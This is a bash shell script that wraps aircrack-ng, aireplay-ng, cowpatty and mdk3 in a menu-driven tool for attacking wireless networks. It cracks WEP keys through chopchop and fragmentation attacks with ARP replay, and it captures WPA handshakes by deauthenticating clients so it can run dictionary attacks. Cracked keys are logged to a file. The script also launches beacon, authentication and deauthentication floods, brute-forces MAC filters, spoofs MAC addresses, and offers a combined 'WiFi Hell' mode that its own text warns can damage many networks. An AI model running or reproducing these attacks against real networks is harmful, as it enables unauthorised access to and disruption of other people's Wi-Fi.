#!/bin/bash
MYMAC=06:15:AF:67:96:24
#MYMAC=`ifconfig ath0 | awk /HW/'{print $5}'`
File=/tmp/.HOSTADD
{
read HOSTADD
} < $File
File=/tmp/.APNAME
{
read APNAME
} < $File
File=/tmp/.APADD
{
read APADD
} < $File
File=/tmp/.CHAN
{
read CHAN
} < $File
clear
function showMenu
{
    echo ""
    echo -n "Press enter to continue..."
    read
    clear
    mainMenu
}
function Enter
{
    echo ""
    echo -n "Press enter to continue..."
    read
    clear
}
function Details
{
echo "Host MAC: "$HOSTADD
echo "Access point MAC: "$APADD
echo "Access point name: "$APNAME
echo "Channel: "$CHAN
}
function showAP
{
ap_array=`cat ~/dump-01.txt | grep -a -n Station | awk -F : '{print $1}'`
head -n $ap_array ~/dump-01.txt &> ~/dump-02.txt
clear
echo ""
echo "           MAC            CHAN    SECU    POWER   #CHAR   SSID"
echo "========================================================================"
while IFS=, read MAC FTS LTS CHANNEL SPEED PRIVACY CYPHER AUTH POWER BEACON IV LANIP IDLENGTH ESSID KEY;do
 longueur=${#MAC}
   if [ $longueur -ge 17 ]; then
    echo -e "    "$MAC"\t""|"$CHANNEL"\t""|"$PRIVACY"\t""|"$POWER"\t""|"$IDLENGTH"\t""|"$ESSID
    aidlenght=$IDLENGTH
    assid[$i]=$ESSID
    achannel[$i]=$CHANNEL
    amac[$i]=$MAC
    aprivacy[$i]=$PRIVACY
   fi
done < ~/dump-02.txt
}

mainMenu () {
clear
echo "Stage 1. Put card in correct mode"
echo "Stage 2. Scan for access points and hosts"
echo "Stage 3. Specify access point"
echo "Stage 4. Authenticate client with access point"
echo "Stage 5. Attacks and packet creation"
echo "Stage 6. Capture ARP packet"
echo "Stage 7. Crack WEP key"
echo "Stage 8. Clean up files"
echo "Stage 9. Other options"
echo "Stage 10. Exit"
echo
echo -n "What stage are you at? "
}
while [ 1 ]
do
mainMenu
read STAGE
case "$STAGE" in

"1")
clear
echo "1. Monitor mode"
echo "2. Managed mode"
echo "3. Back"
echo -n "Please select a mode: "
read MODE
if [ $MODE == 1 ]; then
    ifconfig ath0 down
    wlanconfig ath0 destroy
    wlanconfig ath0 create wlandev wifi0 wlanmode monitor -bssid
    ifconfig ath0 up
    showMenu
    clear
elif [ $MODE == 2 ]; then
    ifconfig ath0 down
    wlanconfig ath0 destroy
    wlanconfig ath0 create wlandev wifi0 wlanmode managed -bssid
    ifconfig ath0 up
    showMenu
    clear
elif [ $MODE == 3 ]; then
    mainMenu
    clear
    else
    echo "no option selected"
    showMenu
fi
;;

"2")
clear
#Stronger signals can be achieved by specifying a channel.
echo "For a range of channels type 1-14"
echo
echo -n "What channel(s) do you want to scan? "
read CHANNEL
airodump-ng -c $CHANNEL -w ~/dump ath0
showMenu
clear
;;

"3")
showAP
echo
echo -n "specify access point MAC address: "
read APADD
echo -n "specify the name of the access point: "
read APNAME
echo -n "specify host address, this MAC is ($MYMAC): "
read HOSTADD
echo -n "specify channel: "
read CHAN
echo "Locking channel..."
airmon-ng stop ath0
airmon-ng start wifi0 $CHAN
echo $CHAN > /tmp/.CHAN
echo $HOSTADD > /tmp/.HOSTADD
echo $APNAME > /tmp/.APNAME
echo $APADD > /tmp/.APADD
clear
;;

"4")
clear
echo "1. Constant (keepalive packets sent)"
echo "2. Single (just a single authentication)"
echo "3. Back"
echo -n "Which type of authentication would you like to take place? "
read CALM
if [ $CALM = 1 ]; then
    clear
    Details
    echo
    echo "Associating you with the specified AP"
    aireplay-ng -1 6000 -o 6 -q 10 -e $APNAME -a $APADD -h $HOSTADD ath0
    showMenu
    clear
elif [ $CALM = 2 ]; then
    clear
    Details
    echo
    echo "Associating you with the specified AP - Do not close this until attack has finished"
    aireplay-ng -1 0 -e $APNAME -a $APADD -h $HOSTADD ath0
    showMenu
    clear
elif [ $CALM == 3 ]; then
    clear
    showMenu
    else
    clear
    echo "no option selected"
    showMenu
fi
;;

"5")
clear
echo "1. Chopchop attack"
echo "2. Fragmentation attack"
echo "3. Back"
echo -n "Specify an attack: "
read ATTACK
if [ $ATTACK = 1 ]; then
    clear
    Details
    echo
    echo -n "Specify minimum packet size (0 for any): "
    read MIN
    echo -n "Enter maximum packet size (Smaller size means faster cracking): "
    read MAX
    echo
    echo "Launching chop chop attack"
    aireplay-ng -4 -m $MIN -n $MAX -h $HOSTADD -b $APADD ath0
    packetforge-ng -0 -a $APADD -h $HOSTADD -k 255.255.255.255 -l 255.255.255.255 -y *.xor -w arp-request
    aireplay-ng -2 -r arp-request ath0
    showMenu
    clear
    #Same syntax, just launches fragment attack instead.
elif [ $ATTACK = 2 ]; then
    clear
    #go to function details
    Details
    echo
    echo -n "Specify minimum packet size (0 for any): "
    read MIN
    echo -n "Enter maximum packet size (Smaller size means faster cracking): "
    read MAX
    echo
    echo "Launching fragmentation attack"
    aireplay-ng -5 -m $MIN -n $MAX -b $APADD -h $HOSTADD ath0
    packetforge-ng -0 -a $APADD -h $HOSTADD -k 255.255.255.255 -l 255.255.255.255 -y *.xor -w arp-request
    aireplay-ng -2 -r arp-request ath0
    showMenu
    clear
elif [ $ATTACK == 3 ]; then
    mainMenu
    else
    echo "no option selected"
fi
;;

"6")
Details
echo
echo "Capturing the arp packet"
airodump-ng -c $CHAN --bssid $APADD -w capture ath0
showMenu
clear
;;

"7")
aircrack-ng -z -b $APADD capture*.cap | tee raw.file
Enter
tail -4 raw.file | awk '{ print $4; }' | tr -d : > ap.key
KEY=`cat ap.key`
hwclock | awk '{ print $1,$2,$3,$4,$5; }' >> ~/cracked.txt
echo "Name: "$APNAME >> ~/cracked.txt
echo "MAC: "$APADD >> ~/cracked.txt
echo "WEP Key: "$KEY >> ~/cracked.txt
echo >> ~/cracked.txt
rm ap.key
rm raw.file
clear
echo "Name: "$APNAME
echo "MAC: "$APADD
echo "WEP Key: "$KEY
showMenu
clear
;;

"8")
rm -v *.xor
rm -v .XO-lock
rm -v /tmp/.X0-lock
rm -v arp-*
rm -v psk*
rm -v capture*
rm -v /tmp/.HOSTADD
rm -v /tmp/.APNAME
rm -v /tmp/.APADD
rm -v /tmp/.CHAN
rm -v *.cap
#rm -v ~dump*
rm -v ~/dump*
rm -iv ~/*.hash
showMenu
clear
;;

"9")
clear
echo "1. Crack WPA"
echo "2. Run MDK3 attacks"
echo "3. Spoof/restore MAC address"
echo "4. Back"
echo
echo -n "What do you want to do? "
read ADVANCED

#WPA
    if [ $ADVANCED == 1 ]; then
        clear
        echo "1. Sniff key for 4-way handshake (top right)"
        echo "2. Deauthentify connected clients"
        echo "3. Run standard dictionary attack"
        echo "4. Use cowpatty to generate a hash file and brute force the key (quicker)"
        echo "5. Back"
        echo
        echo "A connected client will be needed to pick up the handshake."
        echo -n "Select a step: "
        read STEP
        if [ $STEP == 1 ]; then
            airodump-ng -c $CHAN --bssid $APADD -w psk ath0
            showMenu

        elif [ $STEP == 2 ]; then
            clear
            echo -n "Specify a MAC to deauth: "
            read DEAUTH
            echo -n "How many deauthentication packets do you want to send? "
            read PACKETS
            aireplay-ng -0 $PACKETS -e $APNAME -a $APADD -c $DEAUTH ath0
            echo

        elif [ $STEP == 3 ]; then
            echo -n "Type in the location of your dictionary:  "
            read DICTLOCATE
            aircrack-ng -a 2 -w "$DICTLOCTE" -b $APADD psk*.cap | tee raw.file
            Enter
            tail -4 raw.file | awk '{ print $4; }' | tr -d : > ap.key
            KEY=`cat ap.key`
            hwclock | awk '{ print $1,$2,$3,$4,$5; }' >> ~/cracked.txt
            echo "Name: "$APNAME >> ~/cracked.txt
            echo "MAC: "$APADD >> ~/cracked.txt
            echo "WPA Phrase: "$KEY >> ~/cracked.txt
            echo >> ~/cracked.txt
            rm ap.key
            rm raw.file
            clear
            echo "Name: "$APNAME
            echo "MAC: "$APADD
            echo "WPA Passphrase: "$KEY
            mainMenu
            clear

        elif [ $STEP == 4 ]; then
            clear
            echo -n "Do you have a hash file for $APNAME? "
            read HASH
                if [ $HASH = y ]; then
                    echo -n "Type hash file location: "
                    read HASHLOCATE
                    cowpatty -v -r psk*.cap -d $HASHLOCATE -s "$APNAME" >> raw.file
                    tail -3 raw.file | grep PSK | awk '{ print $4; }' | tr -d .'"' > ap.key
                    KEY=`cat ap.key`
                    hwclock | awk '{ print $1,$2,$3,$4,$5; }' >> ~/cracked.txt
                    echo "Name: "$APNAME >> ~/cracked.txt
                    echo "MAC: "$APADD >> ~/cracked.txt
                    echo "WPA Key: "$KEY >> ~/cracked.txt
                    echo >> ~/cracked.txt
                    rm ap.key
                    rm raw.file
                    clear
                    Enter
                    echo "Name: "$APNAME
                    echo "MAC: "$APADD
                    echo "WPA Passphrase: "$KEY
                    mainMenu
                    clear

                elif [ $HASH = n ]; then
                    echo "A dictionary file will be needed."
                    echo -n "Type in the location of your dictionary: "
                    read DICTLOCATE
                    echo "Generating hash file, this could take some time..."
                    genpmk -v -f $DICTLOCATE -d $APNAME.hash -s "$APNAME"
                    Enter
                    echo
                    echo
                    echo "The has file has now been generated, running attack using hash file."
                    cowpatty -v -r psk*.cap -d $APNAME.hash -s $APNAME >> raw.file
                    tail -3 raw.file | grep PSK | awk '{ print $4; }' | tr -d .'"' > ap.key
                    KEY=`cat ap.key`
                    hwclock | awk '{ print $1,$2,$3,$4,$5; }' >> ~/cracked.txt
                    echo "Name: "$APNAME >> ~/cracked.txt
                    echo "MAC: "$APADD >> ~/cracked.txt
                    echo "WPA Key: "$KEY >> ~/cracked.txt
                    echo >> ~cracked.txt
                    rm ap.key
                    rm raw.file
                    clear
                    Enter
                    echo "Name: "$APNAME
                    echo "MAC: "$APADD
                    echo "WPA Passphrase: "$KEY
                    mainMenu
                    clear
                else
                    echo "...no option selected"
                    clear
                    mainMenu
                fi

        elif [ $STEP == 5 ]; then
            mainMenu
            clear
        else
            echo "...no option selected"
            sleep 3
            clear
        fi

    #MDK3
    elif [ $ADVANCED == 2 ]; then
        mdk3men
        clear
        mdk3men () {
        echo "1. Specify details"
        echo "2. Beacon flood"
        echo "3. Authentication flooding"
        echo "4. Deauthentication mode (amok mode)"
        echo "5. Cancel all traffic continuesly"
        echo "6. Standard packet flooding"
        echo "7. Cause IDS systems to recognise access points as rogues"
        echo "8. MAC bruteforce attack on access points implementing filtering"
        echo "9. Retrieve an SSID"
        echo "10. 'WiFi Hell' - attacks 2-5 simultaneously"
        echo "11. Back"
        echo
        echo -n "What would you like do? "
                }
        while [ 1 ]
            do
            mdk3men
            read MDKCHOICE
            case "$MDKCHOICE" in

    "1")
    showAP
    echo
    echo "If any of the following is unknown just press enter"
    echo
    echo -n "What is the MAC address of the access point: "
    read ESID
    echo -n "What is the name of the access point: "
    read SSID
    echo -n "What channel do you want to use? "
    read CH
    echo -n "Do you want to put your card in attack mode? "
    read ANSWER
        if [ $ANSWER = y ]; then
            echo "putting WiFi card in correct mode"
            ifconfig ath0 down
            wlanconfig ath0 destroy
            wlanconfig ath0 create wlandev wifi0 wlanmode monitor
            sleep 1
            iwconfig ath0 channel 1 rate 1M
            mdk3men
            clear
        elif [ $ANSWER = n ]; then
            mdk3men
            clear
        else
            echo "...no option selected"
            sleep 3
            clear
        fi
            ;;

    "2")
    clear
    echo -n "Create fake access points... "
    sleep 2
    clear
    echo "Press enter to skip questions..."
    echo -n "Access point name (enter for random): "
        read NAME
        NAME="-n $NAME"
    echo -n "Access point channel (enter for random): "
        read ATTACKCHANNEL
        ATTACKCHANNEL="-h -c $ATTACKCHANNEL"
    mdk3 ath0 b -g $ATTACKCHANNEL $NAME
    clear
    ;;

    "3")
    clear
    echo "Sends fake authentication frames to "$SSID
    sleep 2
    mdk3 ath0 a -i $ESID
    clear
    ;;

    "4")
    clear
    echo "Deauthentify traffic from channel specified"
    echo -n "What channel(s) would you like to disassociate? "
    read CH
    sleep 2
    mdk3 ath0 d -c $CH
    break
    clear
    ;;

    "5")
    clear
    echo "Cancel all traffic on "$SSID
    sleep 2
    mdk3 ath0 m -w 5 -t $ESID
    clear
    ;;

    "6")
    clear
    echo "Flooding packets on "$SSID
    sleep 2
    mdk3 ath0 x 0 -n $SSID -t $ESID
    clear
    ;;

    "7")
    clear
    echo "IDS's will identify $SSID as a rogue access point"
    sleep 2
    mdk3 ath0 w -e $SSID
    clear
    ;;

    "8")
    clear
    echo "Brute force allowed MAC to bypass MAC filtering" $SSID
    sleep 2
    mdk3 ath0 f -t $ESID
    sleep 5
    clear
    mdk3men
    ;;

    "9")
    clear
    echo "Brute forcing the SSID, use this attack to find a hidden access point name"
    echo "(It may be quicker to observe and deauth connected clients)"
    sleep 3
    echo -n "Type dictionary location: "
    read WORDS
    mdk3 ath0 p -c $CH -t $ESID -f $WORDS
    clear
    ;;

    "10")
    clear
    echo "WARNING"
    echo "======="
    echo "This has the potential to cause damage to a lot of networks..."
    echo
    echo -n "Press enter if your sure you want to do this..."
    read
    clear
    echo "1. The beacon flood will prevent people from recognising the correct AP."
    echo "2. Authentication flood will prevent the access point from recognising real clients."
    echo "3. Deauthentication flood will kill all clients (if any connect)."
    echo "4. IDS confusion mode will cross-connect kicked clients to real and fake APs."
    echo
    echo "Launching in 3 seconds"
    sleep 3

    function beacon {
    xterm $HOLD $TOPRIGHT -geometry 62x15 -title "Beacon flood" -hold -e mdk3 ath0 b -n $SSID -c $CH
    }

    function authflood {
    xterm $HOLD $TOPLEFT -geometry 62x15 -title "Authentication flood" -hold -e mdk3 ath0 a -i $ESID
    }

    function deauthflood {
    xterm $HOLD $BOTTOMRIGHT -geometry 62x15 -title "Deauthentication flood" -hold -e mdk3 ath0 d -c $CH
    }
    function confusion {
    xterm $HOLD $BOTTOMLEFT -geometry 62x15 -title "IDS confusion" -hold -e mdk3 ath0 w -e $SSID -c$CH
    }

    authflood & beacon & deauthflood & confusion
    clear
    ;;

    11)
    break
    ;;

    *)
    clear
    echo "no option selected"
    mdk3men
    ;;

        esac
        done

    elif [ $ADVANCED == 3 ]; then
        clear
        echo "1. Spoof a MAC"
        echo "2. Restore MAC"
        echo "3. Back"
        echo
        echo -n "Please select an option: "
        read MACOPT
            if [ $MACOPT == 1 ]; then
                echo -n "Type new MAC address (syntax is FF:FF:FF:FF:FF:FF): "
                read MACSPOOF
                ifconfig ath0 down
                ifconfig wifi0 down
                echo "ath0"
                macchanger -m $MACSPOOF ath0
                echo "wifi0"
                macchanger -m $MACSPOOF wifi0
                sleep 3
                ifconfig wifi0 up
                ifconfig ath0 up
                mainMenu
            elif [ $MACOPT == 2 ]; then
                #this mac = $MYMAC
                ifconfig ath0 down
                ifconfig wifi0 down
                echo "ath0"
                macchanger -m $MYMAC ath0
                echo "wifi0"
                macchanger -m $MYMAC wifi0
                sleep 3
                ifconfig ath0 up
                ifconfig wifi0 up
                mainMenu
            elif [ $MACOPT == 3 ]; then
                mainMenu
            else
                echo "no option selected"
            fi
    elif [ $ADVANCED == 4 ]; then
        mainMenu
        clear
    else
        echo "no option selected"
fi
;;

"10")
echo -n "Return card to managed mode? "
read MODE
    if [ $MODE == y ]; then
        sleep 2
        ifconfig ath0 down
        wlanconfig ath0 destroy
        wlanconfig ath0 create wlandev wifi0 wlanmode managed -bssid
        ifconfig ath0 up
        clear
        exit
    elif [ $MODE == n ]; then
        clear
        exit
    else
        echo "no option selected"
    fi
    ;;

*)
echo "no option selected"
showMenu
;;

esac
done